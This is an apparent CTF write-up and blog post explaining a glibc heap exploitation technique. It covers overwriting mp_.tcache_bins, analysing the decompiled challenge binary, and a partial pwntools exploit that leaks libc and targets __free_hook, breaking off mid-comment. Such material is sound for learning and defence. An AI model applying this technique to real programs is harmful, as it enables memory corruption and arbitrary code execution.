TL;DR

Targeting mp_ (the global instance of malloc_par) is a high-level exploitation strategy that remains effective even against modern versions of Glibc. In this post, we'll take a focused dive into critical heap-related structures — malloc_par, tcache_perthread_struct, and their key members — to understand how subtle corruption of global configuration can influence thread-local allocation behavior. I'll demonstrate how this knowledge can be weaponized with two pwn challenge writeups centered on this technique.

This post references the latest released version of Glibc 2.41 for analysis as of the date of writing.

Prerequisites

To exploit malloc_par and influence heap behavior (e.g., bypassing tcache limits or poisoning allocation logic), certains conditions are typically required:

1. Write Primitive

We don’t necessarily need a full arbitrary write to exploit mp_; a semi-arbitrary or constrained write is often sufficient. Since we typically don’t care about the exact value being written (e.g., when targeting mp_.tcache_bins), the exploitation goal is simply to set it to a large value to bypass tcache bin limits.

This makes the attack feasible via techniques like the Largebin Attack, which allows an attacker to write a controlled heap address into an arbitrary memory location. By targeting the mp_tcache_bins field.

The details of manipulating value in mp_tcache_bins will be explained later.

2. Leak Libc

To exploit a Glibc internal structure like mp_, the first step is to leak the libc base address, of course. Once the base is known, the address of mp_ can be calculated using its known offset within the specific libc version in use:

mp_ = libc_base + offset_to_mp_

3. Tcache Enabled

The technique often relies on tcache being in use, thus the target must be running Glibc 2.26+, and not have disabled tcache via environment (GLIBC_TUNABLES=glibc.malloc.tcache_count=0).

But this should not be a concern, where modern ELF programs will always enable it for performance.

This technique typically relies on tcache being enabled, which requires the target to be running Glibc 2.26+ (when tcache was introduced), and not explicitly disabling tcache via environment variables such as:

Bash
GLIBC_TUNABLES=glibc.malloc.tcache_count=0

However, this is rarely a limitation in practice — modern ELF binaries almost always have tcache enabled by default, as it significantly improves allocation performance and is enabled automatically by the dynamic linker unless explicitly suppressed.

Tcache Structures

To gain control over Tcache Bin allocation by exploiting internal Glibc structures, we must first understand what these structures are and how they work. In this section, we focus on two critical components defined in malloc.c from the Glibc 2.41 source:

  • malloc_par (accessed globally as mp_)
  • tcache_perthread_struct (thread-local tcache state)

Structure: malloc_par

The malloc_par structure holds global allocator parameters used by ptmalloc, the malloc implementation in Glibc. Unlike malloc_state, which is per-arena, malloc_par is shared across all arenas and guides global memory management behavior.

It's defined in Glibc 2.41 source under the file malloc/malloc.c at line 1858:

C
struct malloc_par
{
  /* Tunable parameters */
  unsigned long trim_threshold;
  INTERNAL_SIZE_T top_pad;
  INTERNAL_SIZE_T mmap_threshold;
  INTERNAL_SIZE_T arena_test;
  INTERNAL_SIZE_T arena_max;

  /* Transparent Large Page support.  */
  INTERNAL_SIZE_T thp_pagesize;
  /* A value different than 0 means to align mmap allocation to hp_pagesize
     add hp_flags on flags.  */
  INTERNAL_SIZE_T hp_pagesize;
  int hp_flags;

  /* Memory map support */
  int n_mmaps;
  int n_mmaps_max;
  int max_n_mmaps;
  /* the mmap_threshold is dynamic, until the user sets
     it manually, at which point we need to disable any
     dynamic behavior. */
  int no_dyn_threshold;

  /* Statistics */
  INTERNAL_SIZE_T mmapped_mem;
  INTERNAL_SIZE_T max_mmapped_mem;

  /* First address handed out by MORECORE/sbrk.  */
  char *sbrk_base;

#if USE_TCACHE
  /* Maximum number of buckets to use.  */
  size_t tcache_bins;
  size_t tcache_max_bytes;
  /* Maximum number of chunks in each bucket.  */
  size_t tcache_count;
  /* Maximum number of chunks to remove from the unsorted list, which
     aren't used to prefill the cache.  */
  size_t tcache_unsorted_limit;
#endif
};

This structure provides centralized configuration for heap behavior, including:

  • mmap controls
  • sbrk tracking
  • THP (Transparent Huge Page) support
  • Tcache policies, which we care in tcache exploitation, wrapped under the #if USE_TCACHE macro

Here's a quick overview of the tcache-related fields:

FieldDescription
tcache_binsNumber of tcache bins (typically 64 by default)
tcache_max_bytesMaximum chunk size allowed in tcache
tcache_countMaximum number of chunks per bin
tcache_unsorted_limitMax chunks transferred from unsorted bin to tcache on free

In Glibc implementation, only one instance of malloc_par exists globally — the mp_ structure. It is defined in the same file at line 1915:

C
/* There is only one instance of the malloc parameters.  */

static struct malloc_par mp_ =
{
  .top_pad = DEFAULT_TOP_PAD,
  .n_mmaps_max = DEFAULT_MMAP_MAX,
  .mmap_threshold = DEFAULT_MMAP_THRESHOLD,
  .trim_threshold = DEFAULT_TRIM_THRESHOLD,
#define NARENAS_FROM_NCORES(n) ((n) * (sizeof (long) == 4 ? 2 : 8))
  .arena_test = NARENAS_FROM_NCORES (1)
#if USE_TCACHE
  ,
  .tcache_count = TCACHE_FILL_COUNT,
  .tcache_bins = TCACHE_MAX_BINS,
  .tcache_max_bytes = tidx2usize (TCACHE_MAX_BINS-1),
  .tcache_unsorted_limit = 0 /* No limit.  */
#endif
};

This mp_ structure typically resides in the .data section of the binary (on architectures like x86_64) and is initialized statically during program startup. By default, its fields are initialized using constants defined directly in the Glibc source.

For example, TCACHE_FILL_COUNT, defined at line 311, controls how many chunks can be cached in each tcache bin:

C
/* This is another arbitrary limit, which tunables can change.  Each
   tcache bin will hold at most this number of chunks.  */
# define TCACHE_FILL_COUNT 7

Similarly, TCACHE_MAX_BINS — defined at line 293 — sets the number of bin slots available in the tcache:

C
/* We want 64 entries.  This is an arbitrary limit, which tunables can reduce.  */
# define TCACHE_MAX_BINS		64
# define MAX_TCACHE_SIZE	tidx2usize (TCACHE_MAX_BINS-1)

Here, we can see that mp_.tcache_bins is initialized to TCACHE_MAX_BINS, and mp_.tcache_max_bytes is computed using the macro tidx2usize, which resolves to the maximum chunk size that can be handled by tcache.

The final tcache-related member, mp_.tcache_unsorted_limit, specifies the maximum number of chunks that can be moved from the unsorted bin to the tcache during a free() operation. By default, it is set to 0, meaning no limit is enforced unless explicitly changed.

As for some extra tips, we don’t control tcache or mp_ behavior via compiler likegcc — instead, Glibc provides runtime tunables, not compile-time options for end-users. We can modify tcache behavior by setting environment variables at runtime.

For example:

Bash
# Disable tcache
GLIBC_TUNABLES=glibc.malloc.tcache_count=0 ./binary

# Limit the number of bins
GLIBC_TUNABLES=glibc.malloc.tcache_bins=16 ./binary

As you see, if attackers are able to modify fields in mp_ at runtime, we can thus influence the behavior of all tcache operations across threads.

Structure: tcache_perthread_struct

If mp_ is the target we aim to corrupt, why should we care about another structure like tcache_perthread_struct?

Because this thread-local structure is where the real impact of the mp_ overwrite plays out.

The tcache_perthread_struct holds the actual freelists for tcache allocations. It exists per-thread, meaning each thread gets its own copy. This structure is allocated the first time a thread performs a malloc() (triggering tcache_init()), and it lives on the heap as a normal malloc() chunk.

In Linux, each thread has its own independent stack, thread-local storage (TLS), and CPU registers, but shares the same heap, global/static variables, file descriptors, and memory mappings with other threads in the process. This shared memory model is why corrupting global structures like mp_ can affect heap behavior across all threads.

Again, mp_ is not thread-local — it is a single global structure shared by all threads in the process. In contrast, tcache_perthread_struct is thread-local, declared with the __thread storage specifier, meaning each thread has its own instance of it.

It's defined at line 3115:

C
/* There is one of these for each thread, which contains the
   per-thread cache (hence "tcache_perthread_struct").  Keeping
   overall size low is mildly important.  Note that COUNTS and ENTRIES
   are redundant (we could have just counted the linked list each
   time), this is for performance reasons.  */
typedef struct tcache_perthread_struct
{
  uint16_t counts[TCACHE_MAX_BINS];
  tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;

This structure contains:

  • counts[]: Number of cached chunks per bin
  • entries[]: Pointers to the head of each tcache freelist (a singly-linked list of freed chunks)

Each tcache bin corresponds to a size class (e.g., 0x20, 0x30, ..., up to the tcache limit), and counts[i] reflects how many entries are currently cached in that bin, record by a 2-byte uint16_t type.

And of course, we should be familiar enough to know that, the tcache_entry — defined at line 3106 — represents how freed chunks are stored in the tcache bin. Unlike traditional bin chunks (e.g., fastbin or unsorted bin), where freelist pointers (fd/bk) point to the chunk header (starting at prev_size), the next pointer in a tcache_entry points directly to the user data region of the next chunk — the area returned by malloc().

C
/* We overlay this structure on the user-data portion of a chunk when
   the chunk is stored in the per-thread cache.  */
typedef struct tcache_entry
{
  struct tcache_entry *next;
  /* This field exists to detect double frees.  */
  uintptr_t key;
} tcache_entry;

IIf you're familiar with GDB and heap exploitation in pwn CTFs, you've probably noticed that there's often a 0x290-sized chunk sitting at the top of the heap when a binary starts executing (though not always). So, what is it?

That chunk corresponds to the tcache_perthread_struct, the thread-local structure Glibc uses to manage fast allocations and deallocations through tcache bins.

To understand its layout, we’ll assume the default values configured by mp_ (i.e., the malloc_par structure):

  • TCACHE_MAX_BINS = 64
  • sizeof(uint16_t) = 2 bytes
  • sizeof(tcache_entry *) = 8 bytes (on x86_64)

So the size of tcache_perthread_struct becomes:

C
typedef struct tcache_perthread_struct
{
  uint16_t counts[TCACHE_MAX_BINS];         // 64 * 2 bytes = 128 bytes
  tcache_entry *entries[TCACHE_MAX_BINS];   // 64 * 8 bytes = 512 bytes (on 64-bit)
} tcache_perthread_struct;

This totals 0x280 bytes, but since it’s allocated using _int_malloc() internally by tcache_init() (defined at line 3306), it will be stored as a standard heap chunk and thus includes a chunk header. The header follows the typical malloc_chunk structure, defined at line 1138:

C
struct malloc_chunk {

  INTERNAL_SIZE_T      mchunk_prev_size;  /* Size of previous chunk (if free).  */
  INTERNAL_SIZE_T      mchunk_size;       /* Size in bytes, including overhead. */

  struct malloc_chunk* fd;         /* double links -- used only if free. */
  struct malloc_chunk* bk;

  /* Only used for large blocks: pointer to next larger size.  */
  struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
  struct malloc_chunk* bk_nextsize;
};

However, for allocated chunks, only the first two fields (prev_size and size) are relevant — the rest are used only for free chunks. This means the actual payload (our tcache_perthread_struct) begins immediately after the 0x10-byte header — constructing the layout of classic 0x290 bytes.

Here's what a GDB memory dump might look like right after tcache_perthread_struct is initialized:

0x555555559000: 0x0000000000000000 0x0000000000000291  <-- chunk header
0x555555559010: 0x0000000000000000 0x0000000000000000  <-- tcache_perthread_struct
                ^                ^
               counts[0]        counts[1]

So the in-memory layout of tcache_perthread_struct looks like:

struct tcache_perthread_struct {
	  [ 0x000 - 0x00F ]  chunk header		// prev_size & size, 8 * 2 = 0x10 bytes
    [ 0x010 - 0x08F ]  counts[64]		  // uint16_t each, 64 × 2 bytes = 0x80 bytes
    [ 0x090 - 0x28F ]  entries[64]		// tcache_entry* each,  64 × 8 bytes = 0x200 bytes
}

Conceptual Heap Layout:

0x0000 ┌────────────────────────────┐
       │ Chunk Header               │ ← malloc_chunk metadata (not part of struct)
- prev_size   (8 bytes)
- size        (8 bytes)   │ ← 8 * 2 = 0x10 / 16 bytes
0x0010 ├────────────────────────────┤
       │ counts[0]      (2 bytes)
       │ counts[1]      (2 bytes)
       │ ...                        │
       │ counts[63]     (2 bytes)   │ ← 64 * 2 = 0x20 / 128 bytes
0x0090 ├────────────────────────────┤
       │ entries[0]     (8 bytes)
       │ entries[1]     (8 bytes)
       │ ...                        │
       │ entries[63]    (8 bytes)   │ ← 64 * 8 = 0x200 / 512 bytes
0x0290 └────────────────────────────┘ ← end of `tcache_perthread_struct`

0x0290 ┌────────────────────────────┐
       │ Chunk Header               │ ← next heap chunk (e.g., malloc(0x100))
- prev_size   (8 bytes)
- size        (8 bytes)
0x02A0 ├────────────────────────────┤
       │ User data...               │
       │ ...                        │
       │                            │
       │                            │
0x03A0 └────────────────────────────┘ ← allocated size: 0x100

With a clear understanding of how this structure is laid out in memory, we’re now ready to explore how it can be manipulated during exploitation — particularly in conjunction with corrupted mp_ fields.

Exploitation Strategy

Hijack mp_.tcache_bins

This section focuses on the exploitation methodology: how modifying specific fields in the mp_ structure can be used to bypass allocator limits, poison tcache bins, and ultimately gain arbitrary memory control.

The following four members of mp_ control how the tcache subsystem behaves on a per-bin and per-size basis:

C
static struct malloc_par mp_ =
{
  [...]
#if USE_TCACHE
  .tcache_count = TCACHE_FILL_COUNT,	// 7
  .tcache_bins = TCACHE_MAX_BINS,		  // 64
  .tcache_max_bytes = tidx2usize (TCACHE_MAX_BINS-1),
  .tcache_unsorted_limit = 0 /* No limit.  */
#endif
};

First, tcache_count limits the number of chunks that can be cached per tcache bin — by default, this is set to 7. From an attack perspective, overwriting this field with a smaller value can be advantageous in scenarios where the number of allowable allocations is limited. By reducing the tcache capacity, freed chunks will bypass tcache and fall back to fastbins, which often offer a broader attack surface — fastbins chunks tend to have less restriction and checks on its integrity and validation. Of course, this strategy will only be useful when fastbins are still enabled.

Second, tcache_bins is a critical target. This field defines the total number of tcache bin entries — one per size class — and is set to 64 by default. On 64-bit systems, this corresponds to chunk sizes up to 0x410; allocations larger than that are normally excluded from tcache and handled through more restrictive mechanisms.

The mapping of tcache bins (when mp_.tcache_bins is set to 64):

Bin IndexChunk Size
00x20
10x30
20x40
......
630x410

In Glibc, tcache bins are indexed based on chunk sizes, and these macros define how to compute the bin index from a given size. For example, csize2tidx defined at line 300;

C
/* When "x" is from chunksize().  */
# define csize2tidx(x) (((x) - MINSIZE + MALLOC_ALIGNMENT - 1) / MALLOC_ALIGNMENT)
/* When "x" is a user-provided size.  */
# define usize2tidx(x) csize2tidx (request2size (x))

/* With rounding and alignment, the bins are...
   idx 0   bytes 0..24 (64-bit) or 0..12 (32-bit)
   idx 1   bytes 25..40 or 13..20
   idx 2   bytes 41..56 or 21..28
   etc.  */
  • x is the chunk size, including metadata and alignment (i.e., from chunksize()).
  • MINSIZE is typically 0x20 (32 bytes on 64-bit) — the minimum allowed chunk size.
  • MALLOC_ALIGNMENT is 0x10 on 64-bit — all chunks are aligned to 16 bytes.
  • -1 is a classic integer ceiling trick to ensure proper bin alignment — it forces the division to round up when needed.

This is easy to understand, the macro gives the bin index for a given chunk size, by removing the base size (size of chunk header) and dividing by the alignment unit.

Now, imagine we are able to hijack the value of mp_.tcache_bins. By increasing it beyond its intended maximum (which is 64 by default), we can trick the allocator into treating larger-sized chunks—such as those created by malloc(0x500)—as tcache-eligible.

This opens the door to caching and reusing large chunks that would normally bypass tcache and go through stricter mechanisms like the unsorted bin. Even better, it enables us to poison the freelist for larger chunks with fake entries — a powerful technique when aiming for arbitrary memory write or control over future allocations.

For example, if we overwrite tcache_bins with a large enough value (e.g., a heap address 0x550011223344 via Largebin Attack), then a freed chunk of size 0x510 (after a malloc(0x500)) will be accepted into the tcache:

tidx = (0x510 - 0x20) / 0x10 = 0x4f

This maps to tcache bin index 0x4f, which would normally be out-of-bounds — but is now allowed due to the corrupted tcache_bins.

As a result, the chunk is stored in tcache->entries[0x4f], expanding the effective range of tcache. Recap the tcache_perthread_struct layout on heap:

0x0000 ┌────────────────────────────┐
       │ Chunk Header               │ ← malloc_chunk metadata (not part of struct)
- prev_size   (8 bytes)
- size        (8 bytes)   │ ← 0x8 * 2 = 0x10 bytes
0x0010 ├────────────────────────────┤
       │ counts[0]      (2 bytes)
       │ counts[1]      (2 bytes)
       │ ...                        │
       │ counts[63]     (2 bytes)   │ ← 64 * 2 = 0x20 bytes
0x0090 ├────────────────────────────┤
       │ entries[0]     (8 bytes)
       │ entries[1]     (8 bytes)
       │ ...                        │
       │ entries[63]    (8 bytes)   │ ← 64 * 8 = 0x200 bytes
0x0290 └────────────────────────────┘ ← end of `tcache_perthread_struct`

So:

  • counts[0] starts at offset 0x0000 + 0x10 = 0x10 (after chunk header)
  • entries[0] starts at offset 0x90 (i.e., 0x10 + 0x80)
  • entries[i] = 0x90 + i * 8

For the malformed entries[0x4f]:

offset_to_base = 0x90 + 0x4f * 8 = 0x90 + 0x278 = 0x308

→ Therefore tcache->entries[0x4f] is located at offset 0x308 from the base of the chunk (which starts at 0x0000):

0x0000 ┌────────────────────────────┐
       │ Chunk Header               │ ← malloc_chunk metadata (not part of struct)
- prev_size   (8 bytes)
- size        (8 bytes)   │ ← 0x8 * 2 = 0x10 bytes
0x0010 ├────────────────────────────┤
       │ counts[0]      (2 bytes)
       │ counts[1]      (2 bytes)
       │ ...                        │
       │ counts[63]     (2 bytes)   │ ← 64 * 2 = 0x20 bytes
0x0090 ├────────────────────────────┤
       │ entries[0]     (8 bytes)
       │ entries[1]     (8 bytes)
       │ ...                        │
       │ entries[63]    (8 bytes)   │ ← 64 * 8 = 0x200 bytes
0x0290 └────────────────────────────┘ ← end of `tcache_perthread_struct`
       │ Chunk Header               │ ← next heap chunk (from malloc(0x500))
- prev_size   (8 bytes)
- size: 0x511 (8 bytes)   │ ← actual chunk size
0x02A0 ├────────────────────────────┤
       │ User data...               │
(size: 0x500)
       │                            │
       │                            │  
0x0300 │               ▒▒▒▒▒▒▒▒▒▒▒▒▒│ ← This pointer points to a 0x510 chunk
       │                            │    now cached in tcache->entries[0x4f]
       │                            │  
  	   │                            │
0x07A0 └────────────────────────────┘

At this point, we can calculate the offset from the user data field of our chunk to the corresponding slot in tcache_perthread_struct — specifically, the entry at offset 0x308, which holds the pointer for tcache bin index 0x4f (i.e., chunks of size 0x510). By controlling this region, we can populate it with a malicious address, such as a function pointer like __free_hook (relevant in versions prior to Glibc 2.31), to achieve arbitrary code execution when the poisoned chunk is later reused.

As for the other two members — mp_.tcache_max_bytes and mp_.tcache_unsorted_limit — I haven’t yet identified a reliable or practical attack path that meaningfully leverages their manipulation. Maybe one day we will come back and extend this section.

Supplementary

As you may notice, after modifying mp_.tcache_bins to a value beyond its default limit, we effectively expand the usable region of the entries[] array in tcache_perthread_struct. However, the counts[] array remains fixed in size (64 entries), as the structure itself is not resized.

As we've seen, the tcache_perthread_struct is a fixed-size structure, allocated once per thread and never resized. It contains 64 counts[] and 64 entries[], one for each default tcache bin index (0 to 63). However, when the value of mp_.tcache_bins is corrupted to a number beyond its intended maximum, this creates a mismatch between logical and physical bounds in Glibc’s allocator behavior.

tcache_available()

The function tcache_available() is used to validate bin access referencing value of mp_.tcache_bins, defined at line 3121:

C
/* Check if tcache is available for alloc by corresponding tc_idx.  */
static __always_inline bool
tcache_available (size_t tc_idx)
{
  if (tc_idx < mp_.tcache_bins
      && tcache != NULL
      && tcache->counts[tc_idx] > 0)
    return true;
  else
    return false;
}
  • This function checks whether a bin is eligible for allocation, but only compares against mp_.tcache_bins. It does not check whether tc_idx fits within the physical bounds of the tcache_perthread_struct.
  • If tc_idx is out-of-bounds (but mp_.tcache_bins was increased and used to do the comparison here), this causes an out-of-bounds read — which is fine for the allocator.
  • The mp_.tcache_max_bytes member aforementioned is not an independent value. It is derived from mp_.tcache_bins, specifically the maximum bin index allowed, which is also not used as a check point here.

This makes tcache_get() and tcache_put(), demonstrated below, inherently vulnerable to logic abuse if attacker controls mp_.tcache_bins.

tcache_put()

When a chunk is freed, it is cached into the tcache via tcache_put(), defined at line 3156:

C
/* Caller must ensure that we know tc_idx is valid and there's room
   for more chunks.  */
static __always_inline void
tcache_put (mchunkptr chunk, size_t tc_idx)
{
  tcache_entry *e = (tcache_entry *) chunk2mem (chunk);

  /* Mark this chunk as "in the tcache" so the test in _int_free will
     detect a double free.  */
  e->key = tcache_key;

  e->next = PROTECT_PTR (&e->next, tcache->entries[tc_idx]);
  tcache->entries[tc_idx] = e;
  ++(tcache->counts[tc_idx]);
}

If tc_idx > 63 but mp_.tcache_bins was increased (e.g., via a largebin attack), this function will:

  • Write the freed chunk’s address to tcache->entries[tc_idx]
  • Increment tcache->counts[tc_idx]

This causes a heap pointer to be written just past the end of tcache_perthread_struct.

tcache_get()

On allocation, Glibc uses tcache_get() to pull a chunk from the freelist, defined at line 3197:

C
/* Like the above, but removes from the head of the list.  */
static __always_inline void *
tcache_get (size_t tc_idx)
{
  return tcache_get_n (tc_idx, & tcache->entries[tc_idx]);
}

This reads the pointer at entries[tc_idx] and returns it to the program. If tc_idx is beyond 63 but still less than mp_.tcache_bins, it results in a controlled out-of-bounds read, retrieving a chunk from outside the bounds of the tcache_perthread_struct structure.

That chunk could be then returned by a new malloc(), giving the attacker direct control over a future allocation.

Summary

The tcache_perthread_struct is statically sized with only 64 entries in both counts[] and entries[]. When mp_.tcache_bins is overwritten to a value beyond this limit, Glibc’s allocator will blindly perform out-of-bounds accesses, treating the extended bin indices as valid — without reallocating or validating the structure bounds.

As previously mentioned, mp_.tcache_bins is a tunable parameter intended to be modified at runtime. This behavior appears to be by design, rather than a flaw, which means this attack surface is likely to remain viable in future versions of Glibc. While mitigations (such as hard-capping the maximum allowed value) could theoretically be introduced.

CTF PoCs

CTF 1: Write A Large Number

Overview

Binary download: link

The first CTF challenge we'll explore demonstrates the exact attack path outlined in the previous section. In this scenario, we cannot directly control which previously allocated chunk is freed, shown, or edited — we are limited to interacting with the newly allocated chunk only. Additionally, we’re given a single-use, constrained write primitive: the ability to write a fixed large number to any memory address of our choosing.

With full protection on but not stripped:

$ checksec pwn

[*] '/home/Axura/ctf/pwn/ezheap_mp_2.31/pwn'
Arch:       amd64-64-little
RELRO:      Full RELRO
Stack:      Canary found
NX:         NX enabled
PIE:        PIE enabled
SHSTK:      Enabled
IBT:        Enabled
Stripped:   No

Glibc 2.31 is used for this pwn challenge, where hook functions are remained. The malloc-related hooks (__malloc_hook, __free_hook, __realloc_hook, etc.) were deprecated in Glibc 2.34 and removed entirely in Glibc 2.36.

Code Review

main
C
int __fastcall main(int argc, const char **argv, const char **envp)
{
  int v4; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v5; // [rsp+8h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  ((void (__fastcall *)(int, const char **, const char **))init)(argc, argv, envp);
  while ( 1 )
  {
    menu();
    __isoc99_scanf("%d", &v4);
    switch ( v4 )
    {
      case 1:
        add();
        break;
      case 2:
        delete();
        break;
      case 3:
        edit();
        break;
      case 4:
        show();
        break;
      case 5:
        puts("bye");
        exit(0);
      default:
        continue;
    }
  }
}

The program enters an infinite loop displaying a menu. It reads an integer input (v4) as user choice and dispatches based on the following options:

  • 1: Call add()
  • 2: Call delete()
  • 3: Call edit()
  • 4: Call show()
  • 5: Print "bye" and exit

Any invalid input causes the menu to repeat without action.

add
C
unsigned __int64 add()
{
  int chunk_idx; // ebx
  int ptr_idx;   // ebx
  char buf[24];  // [rsp+0h] [rbp-30h] BYREF
  unsigned __int64 v4; // [rsp+18h] [rbp-18h]

  v4 = __readfsqword(0x28u);
  if ( (unsigned int)global_idx > 0x20 )
    exit(0);
  if ( *((_QWORD *)&chunks + global_idx) )
  {
    puts("error");
    exit(0);
  }
  puts("Size :");
  read(0, buf, 8u);
  if ( atoi(buf) > 0x1000 || atoi(buf) <= 0x90 ) // ban fastbin chunks
  {
    puts("error");
    exit(1);
  }
  chunk_idx = global_idx;
  len_array[chunk_idx] = atoi(buf);
  ptr_idx = global_idx;
  *((_QWORD *)&chunks + ptr_idx) = malloc((int)len_array[global_idx]);
  puts("Content :");
  read(0, *((void **)&chunks + global_idx), len_array[global_idx]);
  ++global_idx;
  return __readfsqword(0x28u) ^ v4;
}

This function allows the user to allocate a heap chunk under the following conditions:

  1. Index limit check:
    • global_idx must be ≤ 0x20.
    • If the slot at chunks[global_idx] is already used, exit with error.
  2. User input (size):
    • Reads 8 bytes into a buffer, parses it with atoi().
    • Size must be between 0x91 and 0x1000 (excludes fastbins).
  3. Chunk allocation:
    • Saves the size to len_array[global_idx].
    • Allocates a heap chunk and stores the pointer in chunks[global_idx].
  4. User input (content):
    • Reads content into the allocated chunk (size-controlled).
    • Increments global_idx.

global_idx is monotonically increasing, meaning no reuse for allocated chunk indexes.

delete
C
unsigned __int64 delete()
{
  int ptr_idx_array[27]; // [rsp+Ch] [rbp-74h] BYREF
  unsigned __int64 v2; // [rsp+78h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("Index :");
  __isoc99_scanf("%d", ptr_idx_array);
  free(*((void **)&chunks + ptr_idx_array[0]));
  *((_QWORD *)&chunks + ptr_idx_array[0]) = 0;  // UAF: clear ptr but data remains
  return __readfsqword(0x28u) ^ v2;
}

This function frees a previously allocated heap chunk:

  1. Prompts: "Index :"
  2. Reads an integer index from user input into ptr_idx_array[0]
  3. Frees the chunk at chunks[index]
  4. Sets the freed pointer to NULL, which avoids classic UAF exploitation for Largebin Attack.

Although the pointer to the freed chunk is nullified, the underlying memory region remains on the heap. This allows us to leak sensitive data after operation like free(), which writes libc addresses to fd and bk pointers.

show
C
unsigned __int64 show()
{
  int idx; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("Index :");
  __isoc99_scanf("%d", &idx);
  puts(*((const char **)&chunks + idx));        // if ptr=0, EOF
  return __readfsqword(0x28u) ^ v2;
}

The show() function provides a raw pointer dereference simply prints the content of an allocated chunk.

edit
C
unsigned __int64 edit()
{
  _DWORD *ptr; // [rsp+0h] [rbp-10h] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("one chance for you");
  if ( chance )
    exit(1);
  puts("content :");
  read(0, &ptr, 8u);  // &ptr is a pointer to the pointer — so, it's uint64_t *
  *ptr = 666666;
  ++chance;
  return __readfsqword(0x28u) ^ v2;
}

This function gives us one-time arbitrary write:

  1. Prints: "one chance for you"
  2. Checks if chance is already used; if so, exits
  3. Prompts for input: "content :"
  4. Reads 8 bytes from user into &ptr → meaning the user controls the value of ptr
    • I.e., user input becomes the target address to write to
  5. Writes the integer 666666 to *ptr
  6. Increments chance (prevents reuse)

Limitations:

  • Fixed value: 666666
  • Single-use due to chance
  • 4-byte only (can’t overwrite full 64-bit pointers)

Despite these constraints, it remains a powerful primitive when used to target the global mp_ (malloc_par) structure in Glibc:

  • We can overwrite mp_.tcache_bins to that specific large value (e.g., 666666)
  • This causes the allocator to treat out-of-bounds bin indices as valid, effectively expanding the usable region of tcache->entries[]
  • As a result, we gain a write-what-where by poisoning freelist entries beyond the bounds of tcache_perthread_struct.

EXP

Detailed explanation is embedded in the comments of the following exploit script;

Python
import sys
import inspect
from pwn import *


s       = lambda data                 :p.send(data)
sa      = lambda delim,data           :p.sendafter(delim, data)
sl      = lambda data                 :p.sendline(data)
sla     = lambda delim,data           :p.sendlineafter(delim, data)
r       = lambda num=4096             :p.recv(num)
ru      = lambda delim, drop=True     :p.recvuntil(delim, drop)
l64     = lambda                      :u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))
uu64    = lambda data                 :u64(data.ljust(8, b"\0"))


def g(gdbscript: str = ""):
    if mode["local"]:
        gdb.attach(p, gdbscript=gdbscript)

    elif mode["remote"]:
        gdb.attach((remote_ip_addr, remote_port), gdbscript)
        if gdbscript == "":
            raw_input()


def pa(addr: int) -> None:
    frame = inspect.currentframe().f_back
    variables = {k: v for k, v in frame.f_locals.items() if v is addr}
    desc = next(iter(variables.keys()), "unknown")
    success(f"[LEAK] {desc} ---> {addr:#x}")


def itoa(a: int) -> bytes:
    return str(a).encode()


def menu(n: int):
    opt = itoa(n)
    sla(b'Input your choice\n', opt)


def add(size, content):
    menu(1)
    size = itoa(size)
    sla(b'Size :\n', size)
    sa(b'Content :\n', content)


def free(idx):
    menu(2)
    idx = itoa(idx)
    sla(b'Index :\n', idx)


def edit(content):
    menu(3)
    sa(b'content :\n', content)


def show(idx):
    menu(4)
    idx = itoa(idx)
    sla(b'Index :\n', idx)


def exp():
    # g("b free")
    # g("breakrva 0x12be")    # show: ret

    """
    Leak libc
    """
    
    add(0x500, b"aaaaaaaa") # 0: To rewrite tcache_entry for chunksize 0x510
    add(0x500, b"/bin/sh\x00") # 1: Trigger __free_hook at the end
    add(0x500, b"aaaaaaaa") # 2
    add(0x500, b"aaaaaaaa") # 3
    add(0x500, b"aaaaaaaa") # 4
    free(2) # 2 -> usbin
    add(0x500, b"bbbbbbbb")  # 5 (2)
    show(5)
    ru(b"bbbbbbbb")
    libc_base = uu64(r(6)) - 0x1ecbe0
    pa(libc_base)

    """
    Attack mp_

    pwndbg> ptype /o *(struct malloc_par*)&mp_
    /* offset    |  size */  type = struct malloc_par {
    /*    0      |     8 */    unsigned long trim_threshold;
    /*    8      |     8 */    size_t top_pad;
    /*   16      |     8 */    size_t mmap_threshold;
    /*   24      |     8 */    size_t arena_test;
    /*   32      |     8 */    size_t arena_max;
    /*   40      |     4 */    int n_mmaps;
    /*   44      |     4 */    int n_mmaps_max;
    /*   48      |     4 */    int max_n_mmaps;
    /*   52      |     4 */    int no_dyn_threshold;
    /*   56      |     8 */    size_t mmapped_mem;
    /*   64      |     8 */    size_t max_mmapped_mem;
    /*   72      |     8 */    char *sbrk_base;
    /*   80      |     8 */    size_t tcache_bins;
    /*   88      |     8 */    size_t tcache_max_bytes;
    /*   96      |     8 */    size_t tcache_count;
    /*  104      |     8 */    size_t tcache_unsorted_limit;
    
                               /* total size (bytes):  112 */
                            }
                            
    pwndbg> libc
    libc : 0x7cda7bd5b000

    pwndbg> distance ((char*)&mp_)+0x50 0x7cda7bd5b000
    0x7cda7bf472d0->0x7cda7bd5b000 is -0x1ec2d0 bytes (-0x3d85a words)
    """
    mp_tcache_bins = libc_base + 0x1ec2d0
    system = libc_base + libc.sym.system
    free_hook = libc_base + libc.sym.__free_hook
    
    pa(mp_tcache_bins)
    pa(system)
    pa(free_hook)

    # Write int 666666 into mp_.tcache_bins
    edit(p64(mp_tcache_bins))   # 5

    """
    Write tcache_entry[x] in the extended tcache_pthread_struct

    typedef struct tcache_perthread_struct
    {
      uint16_t counts[TCACHE_MAX_BINS];
      tcache_entry *entries[TCACHE_MAX_BINS];
    } tcache_perthread_struct;

    // in 64-biut Linux
    // MINSIZE=0x20
    // MALLOC_ALIGNMENT=2*SIZE_SZ=0x10)

    /* When "x" is from chunksize().  */
    # define csize2tidx(x) (((x) - MINSIZE + MALLOC_ALIGNMENT - 1) / MALLOC_ALIGNMENT)

    /* With rounding and alignment, the bins are...
       idx 0   bytes 0..24 (64-bit) or 0..12 (32-bit)
       idx 1   bytes 25..40 or 13..20
       idx 2   bytes 41..56 or 21..28
       etc.  */

    x = tidx * MALLOC_ALIGNMENT + MINSIZE
